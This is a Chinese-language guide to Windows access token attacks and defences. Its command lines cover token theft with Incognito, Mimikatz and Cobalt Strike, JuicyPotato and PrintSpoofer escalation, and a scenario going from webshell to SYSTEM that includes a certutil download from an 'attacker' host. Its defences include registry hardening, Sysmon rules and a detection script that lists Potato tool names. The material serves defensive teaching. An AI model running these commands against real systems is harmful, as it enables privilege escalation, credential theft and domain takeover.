Windows 令牌攻击、传递与防御完全指南
Windows 访问令牌(Access Token)是 Windows 安全模型的核心,描述了进程或线程的安全上下文。令牌决定了用户能访问哪些资源、执行哪些操作。攻击者通过令牌劫持、令牌窃取、令牌伪造等手段,可以在不破解密码的情况下获得 SYSTEM 权限或在网络中横向移动。
一、Windows 令牌基础
1.1 什么是访问令牌
MERMAID
115%
Ctrl + 滚轮缩放 · 拖动查看完整流程图
每个 Windows 进程启动时都会获得一个主令牌(Primary Token),该令牌包含:
| 令牌组件 | 说明 | 攻击面 |
|---|---|---|
| 用户 SID | 用户的唯一安全标识符 | 提权到其他用户 |
| 组 SID | 所属的组列表(如 Administrators) | 加入特权组 |
| 特权列表 | 用户拥有的特权(如 SeDebugPrivilege) | 启用特权执行操作 |
| 完整性级别 | 进程的信任级别(低/中/高/系统) | 提升完整性级别 |
| 模拟等级 | 允许的模拟级别 | 令牌窃取攻击的核心 |
| 会话 ID | 所属的终端服务会话 | 跨会话攻击 |
1.2 令牌类型
| 类型 | 说明 | 用途 | 攻击目标 |
|---|---|---|---|
| 主令牌(Primary Token) | 分配给进程,定义进程的安全上下文 | 创建进程时指定令牌 | 窃取 SYSTEM 进程的主令牌 |
| 模拟令牌(Impersonation Token) | 分配给线程,临时采用其他用户的安全上下文 | 服务器模拟客户端 | Rotten Potato 系列攻击 |
| 有效令牌(Effective Token) | 限制后的令牌 | UAC 提权确认 | 绕过 UAC 获取高权限令牌 |
1.3 关键特权
MERMAID
115%
Ctrl + 滚轮缩放 · 拖动查看完整流程图
| 特权 | 常量名 | 说明 | 常见拥有者 |
|---|---|---|---|
| SeDebugPrivilege | SE_DEBUG_NAME | 调试程序,读取任意进程内存/句柄 | Administrators |
| SeTakeOwnershipPrivilege | SE_TAKE_OWNERSHIP_NAME | 取得文件/对象所有权 | Administrators |
| SeBackupPrivilege | SE_BACKUP_NAME | 备份文件,读取任意文件 | Administrators, Backup Operators |
| SeRestorePrivilege | SE_RESTORE_NAME | 恢复文件,写入任意文件 | Administrators, Backup Operators |
| SeImpersonatePrivilege | SE_IMPERSONATE_NAME | 模拟用户 | LOCAL SERVICE, NETWORK SERVICE |
| SeAssignPrimaryTokenPrivilege | SE_ASSIGNPRIMARYTOKEN_NAME | 分配主令牌 | LOCAL SERVICE, NETWORK SERVICE |
| SeTcbPrivilege | SE_TCB_NAME | 作为操作系统一部分运行 | SYSTEM |
| SeLoadDriverPrivilege | SE_LOAD_DRIVER_NAME | 加载/卸载驱动 | Administrators |
| SeShutdownPrivilege | SE_SHUTDOWN_NAME | 关闭系统 | Administrators, Users |
二、令牌操作 API
2.1 核心 Win32 API
CPP
// 打开进程令牌
BOOL OpenProcessToken(
HANDLE ProcessHandle, // 目标进程句柄
DWORD DesiredAccess, // 期望的访问权限
PHANDLE TokenHandle // 输出令牌句柄
);
// 打开线程令牌(模拟令牌)
BOOL OpenThreadToken(
HANDLE ThreadHandle,
DWORD DesiredAccess,
BOOL OpenAsSelf, // 是否以当前线程安全上下文打开
PHANDLE TokenHandle
);
// 复制令牌
BOOL DuplicateToken(
HANDLE ExistingTokenHandle, // 源令牌
SECURITY_IMPERSONATION_LEVEL ImpersonationLevel, // 模拟级别
PHANDLE DuplicateTokenHandle // 输出的新令牌
);
// 复制令牌(完整版)
BOOL DuplicateTokenEx(
HANDLE hExistingToken,
DWORD dwDesiredAccess,
LPSECURITY_ATTRIBUTES lpTokenAttributes,
SECURITY_IMPERSONATION_LEVEL ImpersonationLevel,
TOKEN_TYPE TokenType, // 主令牌或模拟令牌
PHANDLE phNewToken
);
// 模拟登录用户
BOOL ImpersonateLoggedOnUser(
HANDLE hToken // 要模拟的用户的令牌
);
// 恢复线程模拟(停止模拟)
BOOL RevertToSelf();
// 以指定令牌创建进程
BOOL CreateProcessAsUser(
HANDLE hToken, // 令牌句柄
LPCTSTR lpApplicationName,
LPTSTR lpCommandLine,
LPSECURITY_ATTRIBUTES lpProcessAttributes,
LPSECURITY_ATTRIBUTES lpThreadAttributes,
BOOL bInheritHandles,
DWORD dwCreationFlags,
LPVOID lpEnvironment,
LPCTSTR lpCurrentDirectory,
LPSTARTUPINFO lpStartupInfo,
LPPROCESS_INFORMATION lpProcessInformation
);
// 以指定令牌创建进程(推荐)
BOOL CreateProcessWithTokenW(
HANDLE hToken,
DWORD dwLogonFlags,
LPCWSTR lpApplicationName,
LPWSTR lpCommandLine,
DWORD dwCreationFlags,
LPVOID lpEnvironment,
LPCWSTR lpCurrentDirectory,
LPSTARTUPINFOW lpStartupInfo,
LPPROCESS_INFORMATION lpProcessInformation
);
2.2 模拟级别
CPP
typedef enum _SECURITY_IMPERSONATION_LEVEL {
SecurityAnonymous, // 匿名:服务器无法识别客户端
SecurityIdentification, // 标识:服务器可识别但无法模拟
SecurityImpersonation, // 模拟:服务器可在本地模拟客户端
SecurityDelegation // 委托:服务器可在远程模拟客户端
} SECURITY_IMPERSONATION_LEVEL;
| 级别 | 值 | 说明 | 攻击价值 |
|---|---|---|---|
| Anonymous | 0 | 匿名模拟,服务器无法获取任何客户端信息 | 无 |
| Identification | 1 | 标识模拟,服务器可查询 ACL | 低 |
| Impersonation | 2 | 完全模拟,可在本地执行客户端操作 | 高(本地提权) |
| Delegation | 3 | 委托模拟,可在远程服务器模拟客户端 | 极高(横向移动) |
2.3 令牌访问权限
CPP
#define TOKEN_ASSIGN_PRIMARY 0x0001 // 分配主令牌
#define TOKEN_DUPLICATE 0x0002 // 复制令牌
#define TOKEN_IMPERSONATE 0x0004 // 模拟令牌
#define TOKEN_QUERY 0x0008 // 查询令牌信息
#define TOKEN_QUERY_SOURCE 0x0010 // 查询令牌来源
#define TOKEN_ADJUST_PRIVILEGES 0x0020 // 调整令牌特权
#define TOKEN_ADJUST_GROUPS 0x0040 // 调整令牌组
#define TOKEN_ADJUST_DEFAULT 0x0080 // 调整默认 DACL
#define TOKEN_ADJUST_SESSIONID 0x0100 // 调整会话 ID
#define TOKEN_ALL_ACCESS (标准权限 | 以上所有)
三、令牌窃取技术
3.1 令牌窃取原理
MERMAID
115%
Ctrl + 滚轮缩放 · 拖动查看完整流程图
3.2 手工令牌窃取
BATCH
:: 方案 1:使用 whoami 查看当前令牌
whoami /user
whoami /priv
whoami /groups
:: 方案 2:找到 SYSTEM 进程 PID
tasklist /SVC | findstr "lsass.exe"
:: 或者
wmic process where "name='lsass.exe'" get processid
:: 方案 3:使用 PowerSploit 的令牌操作
POWERSHELL
# PowerShell 手动令牌窃取(需要管理员 + SeDebugPrivilege)
function Copy-SystemToken {
param(
[int]$ProcessId = (Get-Process -Name "lsass").Id
)
# 启用 SeDebugPrivilege
$ntdll = Add-Type -MemberDefinition @'
[DllImport("ntdll.dll")]
public static extern int NtSetInformationProcess(
IntPtr hProcess, int infoClass, byte[] info, int length
);
'@ -Name "Ntdll" -Namespace "Win32" -PassThru
# 使用 Process.Handle 获取 PROCESS_ALL_ACCESS
$process = Get-Process -Id $ProcessId
$handle = $process.Handle
# 使用 Win32 API 进行令牌操作
Add-Type -TypeDefinition @'
using System;
using System.Runtime.InteropServices;
public class TokenManip {
[DllImport("advapi32.dll", SetLastError = true)]
public static extern bool OpenProcessToken(
IntPtr ProcessHandle,
uint DesiredAccess,
out IntPtr TokenHandle
);
[DllImport("advapi32.dll", SetLastError = true)]
public static extern bool DuplicateTokenEx(
IntPtr hExistingToken,
uint dwDesiredAccess,
IntPtr lpTokenAttributes,
int ImpersonationLevel,
int TokenType,
out IntPtr phNewToken
);
[DllImport("advapi32.dll", SetLastError = true)]
public static extern bool CreateProcessWithTokenW(
IntPtr hToken,
uint dwLogonFlags,
string lpApplicationName,
string lpCommandLine,
uint dwCreationFlags,
IntPtr lpEnvironment,
string lpCurrentDirectory,
ref STARTUPINFOW lpStartupInfo,
out PROCESS_INFORMATION lpProcessInfo
);
}
'@
}
3.3 Incognito 工具
BATCH
:: Incognito 是 Metasploit 中的令牌操作扩展
:: 也作为独立工具可用
:: ===== 查看可用令牌 =====
incognito.exe list_tokens -u
incognito.exe list_tokens -g
:: 输出示例:
:: [+] Delegation Tokens Available
:: NT AUTHORITY\SYSTEM
:: DOMAIN\Administrator
:: DOMAIN\sqlservice
::
:: [+] Impersonation Tokens Available
:: NT AUTHORITY\LOCAL SERVICE
:: NT AUTHORITY\NETWORK SERVICE
:: ===== 模拟特定用户 =====
incognito.exe execute -c "NT AUTHORITY\SYSTEM" cmd.exe
:: ===== 在 Metasploit 中使用 =====
msf6 > load incognito
msf6 > list_tokens -u
msf6 > impersonate_token "NT AUTHORITY\SYSTEM"
msf6 > shell
3.4 PowerSploit 令牌操作
POWERSHELL
# PowerSploit / Empire 的令牌操作函数
# 导入 PowerSploit
Import-Module .\PowerSploit.psm1
# 使用 Invoke-TokenManipulation
# 列出可用令牌
Invoke-TokenManipulation -Enumerate
# 窃取 SYSTEM 令牌
Invoke-TokenManipulation -CreateProcess "cmd.exe" -Username "NT AUTHORITY\SYSTEM"
# 窃取指定进程的令牌
Invoke-TokenManipulation -ProcessId 1234
四、令牌模拟与提权(Potato 系列)
4.1 Rotten Potato
MERMAID
115%
Ctrl + 滚轮缩放 · 拖动查看完整流程图
BATCH
:: Rotten Potato (MS16-075)
:: 适用于 Windows 7/8/2008/2012
:: 需要 SeImpersonatePrivilege 或 SeAssignPrimaryTokenPrivilege
:: ===== 攻击步骤 =====
:: 1. 通过初始漏洞获得 IIS/AppPool 权限
:: 2. 检查是否有所需特权
whoami /priv | findstr "Impersonate"
:: 3. 运行 RottenPotato
RottenPotato.exe
:: 4. 执行命令(以 SYSTEM 权限)
RottenPotato.exe cmd.exe
:: 5. 验证
whoami
:: NT AUTHORITY\SYSTEM
4.2 Juicy Potato
Juicy Potato 是 Rotten Potato 的改进版,支持更多 Windows 版本和自定义 CLSID:
BATCH
:: Juicy Potato
:: 适用于 Windows 7/8/10/2008/2012/2016
:: 需要 SeImpersonatePrivilege 或 SeAssignPrimaryTokenPrivilege
:: ===== 基本用法 =====
JuicyPotato.exe -l 1337 -p cmd.exe -t *
:: -l : 本地端口号
:: -p : 要执行的程序
:: -t : 模拟级别(* = 默认)
:: ===== 指定 CLSID =====
JuicyPotato.exe -l 1337 -p cmd.exe -t * -c "{9B1F122C-2982-4E91-AA8B-E071D54F2A71}"
:: -c : COM CLSID(不同 Windows 版本不同)
:: ===== 通过 PowerShell 执行 =====
JuicyPotato.exe -l 1337 -p c:\windows\system32\WindowsPowerShell\v1.0\powershell.exe -a "-exec bypass -c whoami > C:\temp\result.txt" -t *
:: ===== 常用 CLSID =====
:: Windows 10 1809: {9B1F122C-2982-4E91-AA8B-E071D54F2A71}
:: Windows 10 1903: {E8FB1C50-D44C-4D9B-8493-8143A5D6221B}
:: Windows 10 2004: {B2A975B7-06F4-4573-BC21-591396B0F810}
:: Windows Server 2016: {F87B2C4A-A8E9-4DC1-A153-BEE7D86FFF06}
:: Windows Server 2019: {5167B42A-83B7-4B42-91AA-0EFD39F7B8D8}
4.3 PrintSpoofer
PrintSpoofer 利用 Windows 打印系统的特权模拟漏洞:
BATCH
:: PrintSpoofer
:: 适用于 Windows 10/11/2016/2019/2022
:: 需要 SeImpersonatePrivilege
:: ===== 标准用法 =====
PrintSpoofer.exe -i -c cmd.exe
:: -i : 交互模式
:: -c : 要执行的程序
:: ===== 非交互模式 =====
PrintSpoofer.exe -c "powershell -exec bypass -c whoami > C:\temp\result.txt"
:: ===== 通过管道接收命令 =====
PrintSpoofer.exe -d 3 -c cmd.exe
:: -d : 通过指定句柄通信
4.4 其他 Potato 变种
| 工具 | 漏洞类型 | 适用版本 | 特权要求 |
|---|---|---|---|
| Rotten Potato | MS16-075 (DCOM + 命名管道) | Win 7/8/2008/2012 | SeImpersonate |
| Juicy Potato | 同上 + 自定义 CLSID | Win 7-10/2008-2016 | SeImpersonate |
| PrintSpoofer | 打印系统 bug | Win 10+/2016+ | SeImpersonate |
| EfsPotato | EFSRPC 命名管道 | Win 10+/2016+ | SeImpersonate |
| RoguePotato | DCOM 改进版 | Win 10+/2016+ | SeImpersonate |
| SharpEfsPotato | C# 版 Efs 模拟 | Win 10+/2016+ | SeImpersonate |
4.5 Potato 攻击防御原理
CODE
为什么 Potato 攻击有效:
1. 服务账户(LOCAL SERVICE / NETWORK SERVICE)拥有 SeImpersonatePrivilege
2. 这些特权允许服务模拟任何用户
3. Potato 攻击创建一个命名管道,诱使 SYSTEM 进程连接
4. 当 SYSTEM 连接到命名管道时,服务可以通过模拟获得 SYSTEM 令牌
5. 使用该令牌启动进程 → 获得 SYSTEM 权限
为什么 Windows 不修复:
- Potato 系列攻击利用的是"正常"功能(模拟)
- 服务账户设计上需要模拟权限
- 完全移除这些特权会破坏大量合法功能
五、令牌传递攻击
5.1 什么是令牌传递
MERMAID
115%
Ctrl + 滚轮缩放 · 拖动查看完整流程图
令牌传递(Token Passing)是将一个用户的令牌传递给另一个进程,使该进程以目标用户的权限运行的技术。与 Pass-the-Hash 不同,令牌传递不需要破解密码或 NTLM hash。
5.2 传递令牌到远程系统
POWERSHELL
# 方案 1:通过 WMI 传递令牌
$cred = Get-Credential
Invoke-WmiMethod -Class Win32_Process -Name Create `
-ArgumentList "cmd.exe", $env:COMPUTERNAME `
-Credential $cred
# 方案 2:通过 PowerShell Remoting
$session = New-PSSession -ComputerName TARGET -Credential $cred
Invoke-Command -Session $session -ScriptBlock { whoami }
# 方案 3:使用代理令牌
# 如果一个进程拥有 SeImpersonatePrivilege
# 它可以模拟任何出现过的用户
5.3 Pass-the-Token 工具
BATCH
:: ===== Mimikatz 的令牌操作 =====
mimikatz.exe
:: 列出可用令牌
mimikatz # token::list
:: 模拟指定用户
mimikatz # token::elevate /user:Administrator
:: 模拟 SYSTEM
mimikatz # token::elevate
:: 模拟域管理员
mimikatz # token::elevate /domain:CONTOSO /user:Administrator
:: ===== Cobalt Strike 的令牌传递 =====
beacon> steal_token 1234 :: 窃取 PID 1234 的令牌
beacon> rev2self :: 恢复原始令牌
beacon> make_token DOMAIN\User Password :: 创建新令牌
beacon> pth DOMAIN\User NTLM_HASH :: Pass-the-Hash
5.4 Incognito 令牌传递
BATCH
:: Incognito 令牌传递
:: ===== 复制令牌到当前会话 =====
incognito.exe execute -c "NT AUTHORITY\SYSTEM" cmd.exe
:: ===== 将令牌添加到当前会话 =====
incognito.exe add_user -c "DOMAIN\Admin" cmd.exe
:: ===== 列出所有可用令牌 =====
incognito.exe list_tokens -u
incognito.exe list_tokens -g
六、令牌滥用检测与防御
6.1 关键防御措施
POWERSHELL
# ===== 1. 限制 SeImpersonatePrivilege =====
# 只有必要的服务账户应该拥有此特权
# 通过 GPO 配置:
# 计算机配置 -> Windows 设置 -> 安全设置 -> 本地策略 -> 用户权限分配
# "模拟登录后客户端" -> 限制为特定账户
# ===== 2. 启用 Windows Defender Credential Guard =====
# 保护 LSASS,防止令牌被窃取
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v "LsaCfgFlags" /t REG_DWORD /d 1 /f
# ===== 3. 启用受保护进程(PPL)保护 LSASS =====
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v RunAsPPL /t REG_DWORD /d 1 /f
# ===== 4. 监控 OpenProcessToken 调用 =====
# 非 SYSTEM 进程打开 SYSTEM 进程令牌 = 可疑
# ===== 5. 限制服务账户的交互式登录 =====
# 服务账户不应被允许交互式登录
6.2 监控规则
XML
<!-- Sysmon 监控规则 -->
<Sysmon>
<EventFiltering>
<!-- 监控可疑的进程创建(CreateProcessAsUser) -->
<RuleGroup name="Token Abuse Detection" groupRelation="or">
<!-- 检测命名管道创建 + 模拟 (Potato 系列) -->
<PipeEvent onmatch="include">
<PipeName condition="contains">\RPC Control\</PipeName>
</PipeEvent>
<!-- 检测令牌提升(通过 DuplicateTokenEx) -->
<ProcessAccess onmatch="include">
<GrantedAccess condition="contains">0x1F3FFF</GrantedAccess>
</ProcessAccess>
</RuleGroup>
</EventFiltering>
</Sysmon>
POWERSHELL
# Windows 安全事件监控
# 事件 ID 4672:分配特殊特权
# 监控 SeDebugPrivilege 被启用
$rule = @"
<QueryList>
<Query Id="0" Path="Security">
<Select Path="Security">
*[System[(EventID=4672)]]
</Select>
</Query>
</QueryList>
"@
# 事件 ID 4688:进程创建
# 监控由 SYSTEM 创建的 cmd.exe / powershell.exe
# 异常的系统进程启动子 cmd = 令牌窃取
# 事件 ID 4648:使用显式凭据登录
# 监控使用其他用户令牌的登录
# 事件 ID 4656:对象句柄请求
# 监控对 LSASS 进程的异常句柄请求
6.3 令牌攻击检测脚本
POWERSHELL
# TokenThreatDetector.ps1
$threats = @()
# 检测 1:检查不必要的 SeImpersonatePrivilege
$services = Get-WmiObject Win32_Service | Where-Object {
$_.StartName -like "*LOCAL SERVICE*" -or
$_.StartName -like "*NETWORK SERVICE*"
}
# 检测 2:检查正在运行的 Potato 工具进程
$potatoProcesses = @("juicypotato", "rottenpotato", "printspoofer",
"roguepotato", "efspotato")
foreach ($proc in $potatoProcesses) {
$found = Get-Process -Name $proc -ErrorAction SilentlyContinue
if ($found) {
$threats += [PSCustomObject]@{
Threat = "Potato 提权工具"
Detail = "发现进程: $proc (PID: $($found.Id))"
Severity = "高危"
}
}
}
# 检测 3:检查异常命名管道
$pipes = Get-ChildItem \\.\pipe\ -ErrorAction SilentlyContinue
$suspiciousPipes = $pipes | Where-Object {
$_.Name -match "^\d{3,6}$|^rpcap|^meterpreter"
}
if ($suspiciousPipes) {
$threats += [PSCustomObject]@{
Threat = "可疑命名管道"
Detail = "发现命名管道: $($suspiciousPipes.Name -join ', ')"
Severity = "中危"
}
}
# 检测 4:检查滥用 SeDebugPrivilege
# 通过安全事件日志分析
$debugEvents = Get-WinEvent -FilterHashtable @{
LogName = "Security"
ID = 4672
} -MaxEvents 100 -ErrorAction SilentlyContinue
$suspicious = $debugEvents | Where-Object {
$_.Properties[1].Value -match "SeDebugPrivilege" -and
$_.Properties[0].Value -notmatch "SYSTEM"
}
if ($suspicious) {
$threats += [PSCustomObject]@{
Threat = "异常 SeDebugPrivilege 使用"
Detail = "非 SYSTEM 进程启用调试特权"
Severity = "高危"
}
}
$threats | Format-Table -AutoSize
if (-not $threats) {
Write-Output "未发现令牌威胁"
}
6.4 防御最佳实践
| 防御措施 | 说明 | 优先级 |
|---|---|---|
| Credential Guard | 保护 LSASS,防止令牌窃取 | 高 |
| PPL (RunAsPPL) | 保护 LSASS 进程 | 高 |
| 限制 SeImpersonatePrivilege | 减少可模拟的用户范围 | 高 |
| 监控事件 4672 | 检测特权启用 | 中 |
| 监控事件 4688 | 检测异常进程创建链 | 中 |
| 限制 Local Service 账户 | 使用虚拟账户替代 | 中 |
| ASR 规则 | 阻止 LSASS 凭据窃取 | 中 |
| 最小权限原则 | 服务账户只赋予必要权限 | 高 |
| 日志集中管理 | 统一收集安全事件 | 中 |
| EDR 部署 | 实时检测令牌滥用 | 高 |
6.5 Windows 10 以上专用防御
POWERSHELL
# Windows 10 1809+ 新增的防御功能
# ===== 1. 启用内存完整性(HVCI)=====
# 设置 -> 更新和安全 -> Windows 安全 -> 设备安全性 -> 核心隔离
# 内存完整性 -> 开启
# 或通过注册表
reg add "HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard\Scenarios\HypervisorEnforcedCodeIntegrity" /v "Enabled" /t REG_DWORD /d 1 /f
# ===== 2. 启用 Credential Guard(凭据保护)=====
# 通过组策略或注册表
reg add "HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard" /v "EnableVirtualizationBasedSecurity" /t REG_DWORD /d 1 /f
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v "LsaCfgFlags" /t REG_DWORD /d 1 /f
# ===== 3. Windows Defender ASR 规则 =====
# 规则:阻止通过 WMI 事件订阅的持久化
# 规则:阻止 LSASS 凭据窃取
Add-MpPreference -AttackSurfaceReductionRules_Ids "9e6c4e1f-7d60-472f-ba1a-a39ef669e4b2" -AttackSurfaceReductionRules_Actions Enabled
# ===== 4. 启用 Remote Credential Guard =====
# 远程桌面场景下防止令牌被传递
# 通过 GPO:计算机配置 -> 管理模板 -> 系统 -> 凭据委派
# -> "限制将凭据委派给远程服务器" -> 已启用
七、实战场景
场景 1:IIS 到 SYSTEM 提权
BATCH
:: 初始:通过 WebShell 获得 IIS AppPool 权限
whoami
:: iis apppool\defaultapppool
:: 检查当前特权
whoami /priv
:: SeImpersonatePrivilege = Enabled
:: SeAssignPrimaryTokenPrivilege = Enabled
:: 上传并运行 PrintSpoofer
certutil -urlcache -f http://attacker/PrintSpoofer.exe C:\temp\ps.exe
C:\temp\ps.exe -i -c cmd.exe
:: 成功获得 SYSTEM Shell
whoami
:: nt authority\system
场景 2:横向移动中的令牌传递
BATCH
:: 通过 Cobalt Strike 横向移动
beacon> ps // 查看远程进程
beacon> steal_token 4568 // 窃取管理员进程令牌
beacon> shell dir \\DC\C$\ // 访问域控(使用窃取的令牌)
beacon> make_token DOMAIN\admin P@ssw0rd // 或直接创建令牌
beacon> jump psexec TARGET smb // 使用令牌横向移动
beacon> rev2self // 恢复原始令牌
场景 3:域渗透中的令牌滥用
CODE
场景:普通域用户 → 域管理员
1. 初始访问:找到一台运行服务的域内机器
2. 提权到 SYSTEM(使用 Potato / CVE)
3. 查找域管理员登录会话(令牌中保留了登录信息)
4. 使用 Incognito 窃取域管理员令牌
incognito.exe list_tokens -u
incognito.exe execute -c "DOMAIN\DomainAdmin" cmd.exe
5. 使用域管理员令牌访问域控
dir \\DC\SYSVOL
6. 执行 DCSync 转储所有域用户 hash
八、总结
MERMAID
115%
Ctrl + 滚轮缩放 · 拖动查看完整流程图
| 攻击技术 | 所需权限 | 防御要点 |
|---|---|---|
| 令牌窃取(从 SYSTEM 进程) | SeDebugPrivilege | Credential Guard, RunAsPPL |
| Potato 系列提权 | SeImpersonate | 最小化服务账户权限 |
| 令牌传递(横向移动) | 管理员或域用户令牌 | 网络分段, 受限管理员模式 |
| Incognito / Mimikatz 令牌操作 | 管理员 | EDR 检测, 日志审计 |
Windows 令牌攻击的核心在于 Windows 设计的模拟机制本身。防御不能仅依赖单一措施,必须采用 Credential Guard + PPL + 最小权限 + 行为监控的纵深防御策略。